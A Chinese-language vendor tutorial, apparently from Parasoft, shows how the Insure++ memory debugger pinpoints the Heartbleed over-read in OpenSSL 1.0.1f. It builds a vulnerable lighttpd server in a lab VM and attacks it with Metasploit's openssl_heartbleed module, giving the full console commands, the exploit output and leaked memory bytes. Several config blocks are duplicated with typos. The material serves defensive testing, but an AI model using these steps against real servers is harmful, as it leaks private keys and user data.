原創|使用教程|編輯:鄭恭琳|2020-11-23 11:19:34.150|閱讀 379 次
概述:您可以使用運行時錯誤檢測來查找安全漏洞,而不必依賴安全掃描程序在代碼中查找已知漏洞。這項技術不需要知道已知的漏洞即可檢測出來。
# 界面/圖表報表/文檔/IDE等千款熱門軟控件火熱銷售中 >>
相關鏈接:
您可以使用運行時錯誤檢測來查找安全漏洞,而不必依賴安全掃描程序在代碼中查找已知漏洞。這項技術不需要知道已知的漏洞即可檢測出來。
Heartbleed漏洞于2014年在OpenSSL中被發現,由于OpenSSL在開源和商業應用程序中的廣泛采用,它引起了很多關注和擔憂。這項發現之后,特定的漏洞掃描程序進行了更新以檢測Heartbleed,但如今,我們正在尋找另一種可用于通過運行時錯誤檢測來檢測安全漏洞的技術。該技術不依賴于已經發現的漏洞來進行檢測。
發布有關OpenSSL Heartbleed漏洞的消息時,業界對如何修補或緩解該問題感到恐慌。 OpenSSL是HTTPS通信中使用的加密庫。HTTPS應該是HTTP的安全版本,因此通過Internet進行第一線保護的各種私有信息是OpenSSL。因此,Heartbleed漏洞使信用卡、社會保險號、密碼和其他個人信息面臨嚴重風險。
該漏洞是由OpenSSL很少使用但經常啟用的“心跳”功能引起的。通過向運行OpenSSL的服務器發送格式錯誤的心跳請求,就會發生讀取內存過大,從而將關鍵信息泄漏到響應包中。正確配置武器后,這將導致私有OpenSSL幾乎無法檢測到的泄漏,從而損害了服務器的所有安全通信。
隨著組織意識到這個問題是真實的,他們想檢查該問題是否存在于自己的源代碼中。在最簡單的級別上,您可以修補或更新舊版本的OpenSSL。但是您可能還需要進行測試以確保根本不存在潛在的問題。讓我們看看如何將運行時錯誤檢測與傳統的滲透工具一起使用,以精確檢測漏洞。
Parasoft Insure++是一種內存調試工具,它使用獲得專利的檢測技術來快速識別泄漏和其他內存問題。使用傳統的調試器,很難檢測讀取中的內存(如果不是不可能的話),但是使用Parasoft非常容易
保險++。
Heartbleed漏洞最初是由Codenomicon和Google Security的安全工程師發現的。不僅要發現該漏洞,而且還證明該漏洞很重要并充分緩解了該問題,因此付出了巨大的努力。在這里,我將向您展示一個良好的漏洞發現工具(例如與Insure++結合使用的模糊器)將如何顯著簡化確定漏洞影響并進行修復的過程。
由于Heartbleed的核心是內存過度讀取問題,因此我們將使用Parasoft Insure++在一個真實世界的漏洞上演示使用正確的工具診斷和修復關鍵錯誤的難易程度!
受害虛擬機是我們在其中設置LigHTTPD的地方,以使用容易受到Heartbleed攻擊的OpenSSL版本。我選擇CentOS 7作為受害虛擬機的操作系統。確保在安裝過程中選擇開發工具,以便包含GCC編譯器和其他必需的頭文件。
設置虛擬機的網絡時,請注意從何處發動攻擊。我選擇從主機進行攻擊,所以我包括了僅主機的網絡適配器。在將要執行攻擊的計算機上安裝Metasploit。
最后,在受害虛擬機上安裝Parasoft Insure++!
項目布局
該項目的布局如下:
~/heartbleed :: 我們將使用的主目錄。
~/heartbleed/env :: 我們將其定位為安裝前綴的目錄。
~/heartbleed/src :: 我們將在其中下載源代碼并進行編譯的目錄。
~/heartbleed/srv :: 存儲我們的LigHTTPD網站的目錄。
證明Heartbleed漏洞的步驟是使用Insure++工具構建OpenSSL。為了利用令人討厭的漏洞,我們需要構建一個版本的OpenSSL,該版本已在漏洞修復之前發布。包含令人討厭的漏洞的OpenSSL的最新版本是1.0.1版,因此我們將使用它。
將運行時錯誤檢測應用于安全性
入門:設置受害者虛擬機
使用Insure++構建OpenSSL并安裝。
$ cd /home/USER/heartbleed/src $ wget //www.openssl.org/source/old/1.0.1/openssl-1.0.1f.tar.gz $ tar xf openssl-1.0.1f.tar.gz $ cd openssl-1.0.1f
接下來需要做的是配置源代碼。為了加快此過程,我們將在OpenSSL源目錄中創建以下腳本。該腳本假定insure和gcc都包含在當前shell路徑中。將該腳本命名為configure_openssl.sh之類的名稱
#!/usr/bin/env bash
CC="$(command -v insure) $(command -v gcc)" \
CXX="$(command -v insure) $(command -v g++)" \
./config -d shared --prefix=/home/USER/heartbleed/env
-d標志將OpenSSL配置為包含Insure++所需的調試符號。shared指令將OpenSSL配置為生成共享庫。
--prefix=/home/USER/heartbleed/env
標志將OpenSSL配置為安裝到此目錄。
現在,在OpenSSL源目錄中運行~/configure_openssl.sh來配置源。
$ pwd
/home/USER/heartbleed/src/openssl-1.0.1f
$ chmod +x configure_openssl.sh
$ ./configure_openssl.sh
下一步是使用make進行編譯。Make接受-j標志以指定要并行運行的編譯作業的數量。 Insure++完全支持此并行編譯,這允許我們通過指定受害虛擬機可用的內核數量來加快編譯速度。
$ make -j4
當使用Insure++工具運行make時,將顯示一個Insra窗口,顯示在編譯過程中正在檢測哪些文件。
通常,我們會在構建后運行make install,但由于CentOS 7附帶的pod2man的舊版本不支持OpenSSL所使用的格式,因此手冊文件創建存在問題。為了避免這種情況,我們僅安裝軟件,而不是手動修補許多POD文件。
$ make install_sw
生成和安裝LigHTTPD
下一步是使用我們的Insure++內置OpenSSL構建LigHTTPD。由于我們對OpenSSL中的Heartbleed漏洞感興趣,而不是對LigHTTPD的某些行為感興趣,因此我們將在沒有Insure++工具的情況下進行構建。盡管未使用Insure++來編譯LigHTTPD,但由于要與Insure++檢測的OpenSSL構建鏈接,因此仍然需要使用Insure++進行鏈接。
我們將提供最新版本的LigHTTPD的源代碼。
$ cd /home/USER/heartbleed/src $ wget //download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.49.tar.xz $ tar xf lighttpd-1.4.49.tar.xz $ cd lighttpd-1.4.49
現在,我們需要配置LigHTTPD源,以針對Insure++工具和我們的OpenSSL構建進行正確鏈接。我們將在LigHTTPD源目錄中創建以下腳本以完成此操作。將配置腳本命名為configure_lighttpd.sh之類的名稱。
#!/usr/bin/env bash OPENSSL_PATH=’/home/USER/heartbleed/env’ INSURE_PATH=’/home/USER/insure’ MY_LIBS=’-linsure -linsure_mt -ldl’ MY_LIB_PATHS="-L${OPENSSL_PATH}/lib -L${INSURE_PATH}/lib" MY_LD_LIB_PATHS="${OPENSSL_PATH}/lib:${INSURE_PATH}/lib" MY_FLAGS="$MY_LIB_PATHS $MY_LIBS" CC="$(command -v gcc)" \ CXX="$(command -v g++)" \ CFLAGS="$MY_FLAGS" \ CPPFLAGS="$MY_FLAGS" \ LDFLAGS="$MY_LIB_PATHS" \ LD_LIBRARY_PATH="$MY_LD_LIB_PATHS" \ --prefix=/home/USER/heartbleed/env \ --with-openssl \ --with-openssl-includes=/home/USER/heartbleed/env/include \ --with-openssl-libs=/home/USER/heartbleed/env/lib
在運行此配置腳本之前,請確保安裝LigHTTPD所需的bzip2標頭。
sudo yum install bzip2-devel
從LigHTTPD目錄運行腳本。
$ pwd
/home/USER/heartbleed/src/lighttpd-1.4.49
$ chmod +x configure_lighttpd.sh
$ ./configure_lighttpd.sh
現在已經配置了源,我們必須執行一個不尋常的附加步驟。由于LigHTTPD使用libtool進行庫鏈接,因此我們必須將其配置為在最后的鏈接步驟中使用Insure++。
編輯文件/home/USER/heartbleed/srv/lighttpd-1.4.49/src/Makefile,替換以下行…
CCLD = $(CC)
請確保以下各項與您的設置相匹配...
CCLD = '/home/USER/insure/bin/insure /usr/bin/gcc'
現在已經配置了源代碼,我們可以繼續構建源代碼,并安裝。
$ make -j4
$ make install
設置LigHTTPD
現在,我們已經使用Insure++檢測的OpenSSL構建了LigHTTPD,我們需要創建一個裸機安裝程序以運行LigHTTPD。首先,我們在/home/USER/heartbleed/srv/index.html~ 創建一個簡單的“Hello world!”的HTML頁面如下...
<html>
<head>
<title>Heartbleed Demo</title>
</head>
<body>
<h1>Hello world!</h1>
</body>
</html>
設置中的下一個設置是為LigHTTPD生成SSL PEM文件以用于HTTPS。
$ cd /home/USER/heartbleed/ $ openssl req -x509 -nodes -days 7300 -newkey rsa:2048 -sha256 -keyout server.pem -out server.pem
請務必如上所示填寫電子郵件地址、地理位置和單位字段,因為稍后我們會在泄漏的內存中查找它們!
最后,我們在/home/USER/heartbleed/lighttpd.conf中創建一個簡單的配置文件,如下所示。確保更正用戶、組和路徑以匹配您的設置。請注意,我們將非標準端口8080用于HTTP,將4443用于HTTPS,以避免必須以root用戶身份運行LigHTTPD。
server.modules = ( "mod_openssl", "mod_access", "mod_accesslog", ) server.port = 8080 server.username = "USER" server.groupname = "GROUP" server.document-root = "/home/USER/heartbleed/srv" server.errorlog = "/home/USER/heartbleed/lighttpd_error.log" accesslog.filename = "/home/USER/heartbleed/lighttpd_access.log" dir-listing.activate = "enable" index-file.names = ( "index.html" ) mimetype.assign = ( ".html" => "text/html", ".txt" => "text/plain", ".css" => "text/css", ".js" => "application/x-javascript", ".jpg" => "image/jpeg", ".jpeg" => "image/jpeg", ".gif" => "image/gif", ".png" => "image/png", "" => "application/octet-stream", ) $SERVER["socket"] == ":4443" { ssl.engine = "enable" ssl.pemfile = "/home/USER/heartbleed/server.pem" }
server.modules = ( "mod_openssl", "mod_access", "mod_accesslog", ) server.port = 8080 server.username = "USER" server.groupname = "GROUP" server.document-root = "/home/USER/heartbleed/srv" server.errorlog = "/home/USER/heartbleed/lighttpd_error.log" accesslog.filename = "/home/USER/heartbleed/lighttpd_access.log" dir-listing.activate = "enable" index-file.names = ( "index.html" ) mimetype.assign = ( ".html" => "text/html" ".txt" => "text/plain" ".css" => "text/css" ".js" => "application/x-javascript" ".jpg" => "image/jpeg" ".jpeg" => "image/jpeg" ".gif" => "image/gif" ".png" => "image/png" "" => "application/octet-stream" ) $SERVER["socket"] == ":4443" { ssl.engine = "enable" ssl.pemfile = "/home/USER/heartbleed/server.pem" }
server.modules = ( “mod_openssl”, “mod_access”, “mod_accesslog”, ) server.port = 8080 server.username = “USER” server.groupname = “GROUP” server.document-root = “/home/USER/heartbleed/srv” server.errorlog = “/home/USER/heartbleed/lighttpd_error.log” accesslog.filename = “/home/USER/heartbleed/lighttpd_access.log” dir-listing.activate = “enable” index-file.names = ( “index.html” ) mimetype.assign = ( “.html” => “text/html” “.txt” => “text/plain” “.css” => “text/css” “.js” => “application/x-javascript” “.jpg” => “image/jpeg” “.jpeg” => “image/jpeg” “.gif” => “image/gif” “.png” => “image/png” “” => “application/octet-stream” ) $SERVER[“socket”] == “:4443” { ssl.engine = “enable” ssl.pemfile = “/home/USER/heartbleed/server.pem” }
在/home/USER/heartbleed/run_lighttpd.sh中創建以下腳本。由于我們為庫使用了非標準路徑,因此我們需要指定LD_LIBRARY_PATH。確保更正路徑以匹配您的用戶主文件夾。
#!/usr/bin/env bash LD_LIBRARY_PATH=’/home/USER/heartbleed/env/lib:/home/USER/insure/lib’ \ /home/USER/heartbleed/env/sbin/lighttpd \ -D \ -f /home/USER/hearbleed/lighttpd.conf
#!/usr/bin/env bash LD_LIBRARY_PATH=’/home/USER/heartbleed/env/lib:/home/USER/insure/lib’ \ /home/USER/heartbleed/env/sbin/lighttpd \ -D \ -f /home/USER/hearbleed/lighttpd.conf
#!/usr/bin/env bash LD_LIBRARY_PATH=’/home/USER/heartbleed/env/lib:/home/USER/insure/lib’ \ /home/USER/heartbleed/env/sbin/lighttpd \ -D \ -f /home/USER/heartbleed/lighttpd.conf
運行腳本以啟動LigHTTPD!
$ pwd
/home/USER/heartbleed
$ chmod +x run_lighttpd.sh
$ ./run_lighttpd.sh
運行Metasploit
現在,我們已經安裝了LigHTTPD并與我們的Insure++檢測到的OpenSSL一起運行,現在該發起攻擊了!我們將使用Metasploit發起攻擊。Metasploit是用于許多信息安全任務的工具,包括利用和繞過軟件安全性。它包括用于Heartbleed的掃描程序,該掃描程序部分利用此漏洞進行演示易感性。
您需要做的第一件事是在攻擊者系統上安裝Metasploit。我選擇從虛擬機主機發起攻擊,因此在那里安裝了Metasploit。我將不介紹Metasploit安裝,因為它不在本演示的范圍之內。安裝Metasploit后啟動Metasploit控制臺。
$ msfconsole
這將顯示有關Metasploit框架的提示。在此提示下,我們搜索Metasploit,以了解它提供了哪些Heartbleed工具。
msf > search heartbleed Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Information Leak auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Client Memory Exposure
我們將使用前面提到的Metasploit的Heartbleed掃描儀。
msf > use auxiliary/scanner/ssl/openssl_heartbleed
在這里,我們要設置openssl_heartbleed掃描程序的選項。首先,我們將打開詳細輸出以查看開發過程中的詳細輸出。然后,我們將遠程主機IP和端口設置為攻擊目標。確保更改主機IP和端口以匹配您的設置。
msf auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true verbose => true msf auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 192.168.56.102 rhosts => 192.168.56.102 msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 4443 RPORT => 4443
如果運行不帶任何參數的set,我們可以看到為當前工具設置了哪些參數。在Metasploit中啟動掃描或利用之前,請務必檢查這些選項,因為針對錯誤的系統可能會破壞或損壞意外目標。
msf auxiliary(scanner/ssl/openssl_heartbleed) > set Global ====== No entries in data store. Module: scanner/ssl/openssl_heartbleed ====================================== Name Value ---- ----- CHOST CPORT ConnectTimeout 10 DUMPFILTER HEARTBEAT_LENGTH 65535 MAX_KEYTRIES 50 Proxies RESPONSE_TIMEOUT 10 RHOSTS 192.168.56.102 RPORT 4443 SSL false SSLCipher SSLVerifyMode PEER SSLVersion Auto STATUS_EVERY 5 ShowProgress true ShowProgressPercent 10 TCP::max_send_size 0 TCP::send_delay 0 THREADS 1 TLS_CALLBACK None TLS_VERSION 1.0 VERBOSE true WORKSPACE XMPPDOMAIN localhost
現在,我們已經配置了所有選項,并確認我們沒有在攻擊我們不想要的東西,我們可以發起攻擊!
msf auxiliary(scanner/ssl/openssl_heartbleed) > exploit [*] 192.168.56.102:4443 - Sending Client Hello... [*] 192.168.56.102:4443 - SSL record #1: [*] 192.168.56.102:4443 - Type: 22 [*] 192.168.56.102:4443 - Version: 0x0301 [*] 192.168.56.102:4443 - Length: 86 [*] 192.168.56.102:4443 - Handshake #1: [*] 192.168.56.102:4443 - Length: 82 [*] 192.168.56.102:4443 - Type: Server Hello (2) [*] 192.168.56.102:4443 - Server Hello Version: 0x0301 [*] 192.168.56.102:4443 - Server Hello random data: f6150b7136c5047cc899660bdd8c7c93cc52b4425cf50756367e6f3fed78ece4 [*] 192.168.56.102:4443 - Server Hello Session ID length: 32 [*] 192.168.56.102:4443 - Server Hello Session ID: 6fc69c504e53adc8611f353f010f427a01ce9530edf77f84fa71e5238660f7db [*] 192.168.56.102:4443 - SSL record #2: [*] 192.168.56.102:4443 - Type: 22 [*] 192.168.56.102:4443 - Version: 0x0301 [*] 192.168.56.102:4443 - Length: 1033 [*] 192.168.56.102:4443 - Handshake #1: [*] 192.168.56.102:4443 - Length: 1029 [*] 192.168.56.102:4443 - Type: Certificate Data (11) [*] 192.168.56.102:4443 - Certificates length: 1026 [*] 192.168.56.102:4443 - Data length: 1029 [*] 192.168.56.102:4443 - Certificate #1: [*] 192.168.56.102:4443 - Certificate #1: Length: 1023 [*] 192.168.56.102:4443 - Certificate #1: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name:0x000055b722236070>, issuer=#<OpenSSL::X509::Name:0x000055b7222360c0>, serial=#<OpenSSL::BN:0x000055b722236110>, not_before=2018-09-24 23:24:45 UTC, not_after=2038-09-19 23:24:45 UTC> [*] 192.168.56.102:4443 - SSL record #3: [*] 192.168.56.102:4443 - Type: 22 [*] 192.168.56.102:4443 - Version: 0x0301 [*] 192.168.56.102:4443 - Length: 331 [*] 192.168.56.102:4443 - Handshake #1: [*] 192.168.56.102:4443 - Length: 327 [*] 192.168.56.102:4443 - Type: Server Key Exchange (12) [*] 192.168.56.102:4443 - SSL record #4: [*] 192.168.56.102:4443 - Type: 22 [*] 192.168.56.102:4443 - Version: 0x0301 [*] 192.168.56.102:4443 - Length: 4 [*] 192.168.56.102:4443 - Handshake #1: [*] 192.168.56.102:4443 - Length: 0 [*] 192.168.56.102:4443 - Type: Server Hello Done (14) [*] 192.168.56.102:4443 - Sending Heartbeat... [*] 192.168.56.102:4443 - Heartbeat response, 65535 bytes [+] 192.168.56.102:4443 - Heartbeat response with leak [*] 192.168.56.102:4443 - Printable info leaked: [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
“可打印的信息泄漏:”之后的行已被刪除,因為該行非常長。一些相關的字節如下所示:
: .x.. o..PNS..a.5?..Bz...0.....q.#.`................................0...0... : ............1(..0...*.H........0..1.0...U....US1.0...U....California1.0...U : ....Monrovia1.0...U....Parasoft1.0...U....C++Test1.0...U....rojogorra1#0!.. : *.H........noreply.com0...180924232445Z..380919232445Z0..1.0...U....US1.0.. : .U....California1.0...U....Monrovia1.0...U....Parasoft1.0...U....C++Test1.0 : ...U....rojogorra1#0!..*.H........noreply.com0.."0...*.H.............0..... : ....${(.........o..qC.9M...>..:.q.lN.#...F.._M^....1<..Rb...G.h/l.../S..2.3
如您所見,該漏洞利用程序成功地從包含我們PEM密鑰的OpenSSL泄漏了內存!如果您搜索泄漏的內存,您將找到在創建LigHTTPD使用的PEM文件時填寫的電子郵件地址、實際位置和組織信息。
從受害虛擬機啟動LigHTTPD時,可以在Insra中看到Insure++輸出。在初始執行期間,發生USER_ERROR,我們將忽略它,因為它與Heartbleed無關。
在Metasploit中運行Heartbleed漏洞之后,我們可以看到發生緩沖區溢出導致內存泄漏的確切代碼行!
雙擊READ_OVERFLOW行將打開另一個窗口,其中包含其他詳細信息,包括有關內存塊分配位置的跟蹤以及有關讀取溢出發生位置的堆棧跟蹤。
運行Insure++的可執行文件在運行時會生成tca.log文件。TCA代表“全面覆蓋率分析”。我們可以使用Insure++隨附的TCA工具打開此日志文件,以查看有關代碼覆蓋率的詳細信息。
$ TCA tca.log
在下一個屏幕截圖中,您可以看到TCA顯示運行Metasploit Heartbleed漏洞后獲得的tca.log的結果。我按文件對報告進行了排序,并突出顯示了存在漏洞的t1_lib.c。如您所見,我們僅覆蓋了文件中13%的代碼。
雙擊t1_lib.c行將導致另一個窗口打開。在此窗口中,我們可以看到t1_lib.c中的覆蓋范圍按功能排序。我重點介紹了發生Heartbleed漏洞的功能。如您所見,我們僅覆蓋了函數中約45%的代碼。
此外,雙擊函數名稱將顯示源代碼,其中源代碼用黑色覆蓋,而代碼未用紅色覆蓋。
如您所見,Parasoft Insure++對Heartbleed進行了微不足道的檢測。Insure++不僅檢測了讀取的內存,還生成了:
發生內存過度讀取的堆棧跟蹤。
內存本身分配位置的堆棧跟蹤。
涵蓋了詳細的代碼路徑日志。
這些功能使Insure++非常適合任何信息安全研究人員的工具。因此,盡管您可能熟悉使用各種SAST工具和滲透工具來查找安全漏洞,但應考慮將運行時錯誤檢測添加到安全測試工具包中。
本站文章除注明轉載外,均為本站原創或翻譯。歡迎任何形式的轉載,但請務必注明出處、不得修改原文相關鏈接,如果存在內容上的異議請郵件反饋至chenjj@fc6vip.cn